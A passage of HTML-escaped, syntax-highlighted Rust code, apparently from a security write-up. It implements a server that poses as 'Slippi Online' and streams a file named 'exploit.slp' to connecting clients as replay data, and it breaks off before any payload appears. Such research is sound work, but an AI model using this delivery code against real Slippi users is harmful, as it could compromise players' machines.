&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;            ..&lt;&#x2F;span&gt;&lt;span&gt;Default&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;::&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;default&lt;&#x2F;span&gt;&lt;span&gt;()&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        },&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    )&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;    .&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;unwrap&lt;&#x2F;span&gt;&lt;span&gt;();&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;    println!&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #CE9178;&quot;&gt;&amp;quot;Ready!&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C586C0;&quot;&gt;    loop&lt;&#x2F;span&gt;&lt;span&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C586C0;&quot;&gt;        while&lt;&#x2F;span&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt; let&lt;&#x2F;span&gt;&lt;span style=&quot;color: #4EC9B0;&quot;&gt; Ok&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;packet&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; host&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;service&lt;&#x2F;span&gt;&lt;span&gt;()&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;            &amp;amp;&amp;amp;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt; let&lt;&#x2F;span&gt;&lt;span style=&quot;color: #4EC9B0;&quot;&gt; Some&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;event&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; packet&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C586C0;&quot;&gt;            match&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; event&lt;&#x2F;span&gt;&lt;span&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #4EC9B0;&quot;&gt;                Event&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;::&lt;&#x2F;span&gt;&lt;span style=&quot;color: #4EC9B0;&quot;&gt;Connect&lt;&#x2F;span&gt;&lt;span&gt; {&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; peer&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; ..&lt;&#x2F;span&gt;&lt;span&gt; }&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; =&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;                    println!&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #CE9178;&quot;&gt;&amp;quot;Peer {} connected&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; peer&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;id&lt;&#x2F;span&gt;&lt;span&gt;()&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;                }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #4EC9B0;&quot;&gt;                Event&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;::&lt;&#x2F;span&gt;&lt;span style=&quot;color: #4EC9B0;&quot;&gt;Disconnect&lt;&#x2F;span&gt;&lt;span&gt; {&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; peer&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; ..&lt;&#x2F;span&gt;&lt;span&gt; }&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; =&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;                    println!&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #CE9178;&quot;&gt;&amp;quot;Peer {} disconnected&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; peer&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;id&lt;&#x2F;span&gt;&lt;span&gt;()&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;                }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #4EC9B0;&quot;&gt;                Event&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;::&lt;&#x2F;span&gt;&lt;span style=&quot;color: #4EC9B0;&quot;&gt;Receive&lt;&#x2F;span&gt;&lt;span&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;                    peer&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;                    channel_id&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;                    packet&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;                }&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; =&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C586C0;&quot;&gt;                    if&lt;&#x2F;span&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt; let&lt;&#x2F;span&gt;&lt;span style=&quot;color: #4EC9B0;&quot;&gt; Ok&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;message&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #4EC9B0;&quot;&gt; str&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;::&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;from_utf8&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;packet&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;data&lt;&#x2F;span&gt;&lt;span&gt;()) {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;                        println!&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #CE9178;&quot;&gt;&amp;quot;Received packet: {message}&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;                        let mut&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; send_packet&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; = |&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;response&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #4EC9B0;&quot;&gt; MirrorResponse&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;|&lt;&#x2F;span&gt;&lt;span&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;                            let&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; response_json&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; serde_json&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;::&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;to_string&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;&amp;amp;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;response&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;unwrap&lt;&#x2F;span&gt;&lt;span&gt;();&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;                            println!&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #CE9178;&quot;&gt;&amp;quot;Sending packet: {response_json}&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;                            let&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; packet&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #4EC9B0;&quot;&gt; Packet&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;::&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;reliable&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;response_json&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;as_bytes&lt;&#x2F;span&gt;&lt;span&gt;());&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;                            peer&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;send&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;channel_id&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; &amp;amp;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;packet&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;unwrap&lt;&#x2F;span&gt;&lt;span&gt;();&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;                        };&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;                        let&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; request&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; serde_json&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;::&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;from_str&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;::&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #4EC9B0;&quot;&gt;MirrorRequest&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;message&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;unwrap&lt;&#x2F;span&gt;&lt;span&gt;();&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C586C0;&quot;&gt;                        match&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; request&lt;&#x2F;span&gt;&lt;span&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #4EC9B0;&quot;&gt;                            MirrorRequest&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;::&lt;&#x2F;span&gt;&lt;span style=&quot;color: #4EC9B0;&quot;&gt;ConnectRequest&lt;&#x2F;span&gt;&lt;span&gt; {&lt;&#x2F;span&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt; mut&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; cursor&lt;&#x2F;span&gt;&lt;span&gt; }&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; =&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;                                println!&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #CE9178;&quot;&gt;&amp;quot;Sending reply&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;                                send_packet&lt;&#x2F;span&gt;&lt;span&gt;(MirrorResponse&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;::&lt;&#x2F;span&gt;&lt;span style=&quot;color: #4EC9B0;&quot;&gt;ConnectReply&lt;&#x2F;span&gt;&lt;span&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;                                    nick&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #CE9178;&quot;&gt; &amp;quot;Slippi Online&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;                                    version&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #CE9178;&quot;&gt; &amp;quot;3.5.1&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;                                    cursor&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;                                });&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;                                println!&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #CE9178;&quot;&gt;&amp;quot;Waiting a bit...&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;                                std&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;::&lt;&#x2F;span&gt;&lt;span&gt;thread&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;::&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;sleep&lt;&#x2F;span&gt;&lt;span&gt;(Duration&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;::&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;from_secs&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt;10&lt;&#x2F;span&gt;&lt;span&gt;));&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;                                println!&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #CE9178;&quot;&gt;&amp;quot;Sending replay data...&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;                                send_packet&lt;&#x2F;span&gt;&lt;span&gt;(MirrorResponse&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;::&lt;&#x2F;span&gt;&lt;span style=&quot;color: #4EC9B0;&quot;&gt;StartGame&lt;&#x2F;span&gt;&lt;span&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;                                    cursor&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;                                    next_cursor&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; cursor&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;                                });&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;                                cursor&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; +=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;                                let mut&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; cmd_lengths&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #4EC9B0;&quot;&gt; HashMap&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #4EC9B0;&quot;&gt;u8&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #4EC9B0;&quot;&gt; u16&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #4EC9B0;&quot;&gt; HashMap&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;::&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;new&lt;&#x2F;span&gt;&lt;span&gt;();&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;                                let mut&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; reader&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; =&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #4EC9B0;&quot;&gt;                                    BufReader&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;::&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;new&lt;&#x2F;span&gt;&lt;span&gt;(File&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;::&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;open&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #CE9178;&quot;&gt;&amp;quot;..&#x2F;gecko&#x2F;exploit.slp&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;unwrap&lt;&#x2F;span&gt;&lt;span&gt;());&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;                                reader&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;seek&lt;&#x2F;span&gt;&lt;span&gt;(SeekFrom&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;::&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;Start&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt;0xF&lt;&#x2F;span&gt;&lt;span&gt;))&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;unwrap&lt;&#x2F;span&gt;&lt;span&gt;();&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C586C0;&quot;&gt;                                loop&lt;&#x2F;span&gt;&lt;span&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;                                    let&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; cmd&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; reader&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;read_u8&lt;&#x2F;span&gt;&lt;span&gt;()&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;unwrap&lt;&#x2F;span&gt;&lt;span&gt;();&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;                                    println!&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #CE9178;&quot;&gt;&amp;quot;Handling event 0x{cmd:X}&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C586C0;&quot;&gt;                                    match&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; cmd&lt;&#x2F;span&gt;&lt;span&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #6A9955;&quot;&gt;                                        &#x2F;&#x2F; Event Payloads&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
